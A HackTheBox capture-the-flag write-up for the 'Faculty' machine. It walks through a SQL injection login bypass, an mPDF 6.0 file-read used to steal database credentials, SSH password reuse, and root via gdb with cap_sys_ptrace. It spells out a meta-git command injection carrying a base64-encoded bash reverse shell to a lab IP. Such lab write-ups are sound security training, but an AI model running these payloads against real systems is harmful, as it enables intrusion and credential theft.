8 minutes
Faculty Write-Up

Initial Recon
Nmap
Starting with a full tcp port scan using nmap:
I can see from the above results 2 open ports 80 and 22.
Inspecting Web Page
Inspecting the webpage on port 80, it redirects me to faculty.htb so I’ll add that to my /etc/hosts file:
sudo echo -e '10.10.11.169\tfaculty.htb' | sudo tee -a /etc/hosts
A login page was the first page that appeared to me.
Bypassing Login Using SQLI
The first thing I tried was a simple sql injection: ‘or ‘1’=‘1 and it worked.
Getting The Admin Panel
After inspecting the source code of this single page, I saw stylesheet link pointing to admin directory, so I tried to navigate to this directory, and I got the admin panel.
Exporting PDFs
After navigating through the pages, I found that I can export some data as pdf, like the course list and subject list, so I’ll try to export them and see if I can get more information from these pdfs.
By looking at the URL, it seems that they are using mPDF to generate these pdfs.
To get more information about which version is used, I can download the pdf and use exiftool on it to see if there is an entry for the version or other useful information.
Using exiftool:
I can see that the version used is mPDF 6.0 so now I can search specifically for exploits of this version if they exist.
Understanding How Data Is Sent And Processed To Generate PDFs
First I need to understand how data is processed to generate these pdf files, so I’ll intercept the export pdf request using Burp Suite.
Looks like /admin/download.php expects a POST request, having the content of the pdf file to generate in the body of this request URL encoded 2 times then Base64 encoded.
This opens for me a new attack surface, because now I can try to inject my payloads after encoding it and let mPDF 6.0 process it.
Locating MPDF LFI Exploit
After searching a little bit about mpdf 6.0 exploits, I saw this issue on github. I also found this blog talking about a very similar approach to the vulnerability.
Exploiting the vulnerability
A user can include files by injecting html code into a pdf file and thus read arbitrary files from the server, and mPDF 6.0 was affected by that. In order to read files, I need to download the pdf and open it with a pdf viewer to be able to click on the annotation marker and read the file’s content.
This is the payload I’ll use:
Got the pdf name, and since I already saw the path to get the pdf I can navigate to it.
The pdf looks empty and this is because I opened it using firefox, so the annotation mark will not appear, that’s why I need to download it and open it with a proper pdf viewer. (I’ll use kali’s default pdf viewer Atril Document Viewer)
Upon clicking the annotation, a new window will popup showing the contents of the file.
I wrote a python3 script that will automate all this work otherwise it will be painfull to download every pdf manually and then open it to read the contents.
Reading Database Credentials
The first thing I’ll do is to look for the main application code like index.php to see if I can find the database configuration file to get some credentials.
I know from the /etc/passwd file read before that there are 2 users on the box gbyolo and developer (They have their own home directory and /bin/bash as login shell).
I can try to SSH using these users providing the password got from reading db_connect.php because people usually reuse passwords everywhere.
And it worked using gbyolo as username.
Escalating From User gbyolo To developer
If I run sudo -l
I get the following result:
User gbyolo can run meta-git as developer, howerver this executable is inside /usr/local/bin which means that it was installed manually (wasn’t installed using a package manager like apt for example) and there is a big chance that it is out of date and could have some vulnerabilities.
Searching a little bit on google about meta-git and some possible exploits, I found this bug report on HackerOne which affects every version of meta-git according to snyk.
I can get a reverse shell now as user developer.
sudo -u developer /usr/local/bin/meta-git clone 'sss||echo YmFzaCAtaT4mIC9kZXYvdGNwLzEwLjEwLjE2LjU5Lzg5ODkgMD4mMQo= | base64 -d | bash'
Howerver I need to be first in a directory writable by developer user, so I will navigate to /tmp/.
I will get a fully interactive shell using python:
Post Enumeration
User developer is part of debug group that owns /usr/bin/gdb and can run it.
And if I check linux capabilities for this binary using getcap, I can see that it has cap_sys_ptrace capability, which means that the current user can attach to other processes and trace their system calls.
Getting root
I can abuse this to attach to root running processes and call a reverse shell back to me.
This can be done with any process by injecting a compiled reverse shell into its memory, howerver if the process is running python3 it becomes easier, because I can call the built-in python3 system function and pass a reverse shell to it directly.
Among the running processes I will choose this python3 process:
Then I will debug it using gdb and inject my malicious code:
HackTheBox Linux SQL-Injection ExifTool MPDF Burp-Suite LFI Python3-Script Clear-Text-Credentials Password-Reuse meta-git GDB Linux-Capabilities cap_sys_ptrace
1599 Words
2022-10-18 20:50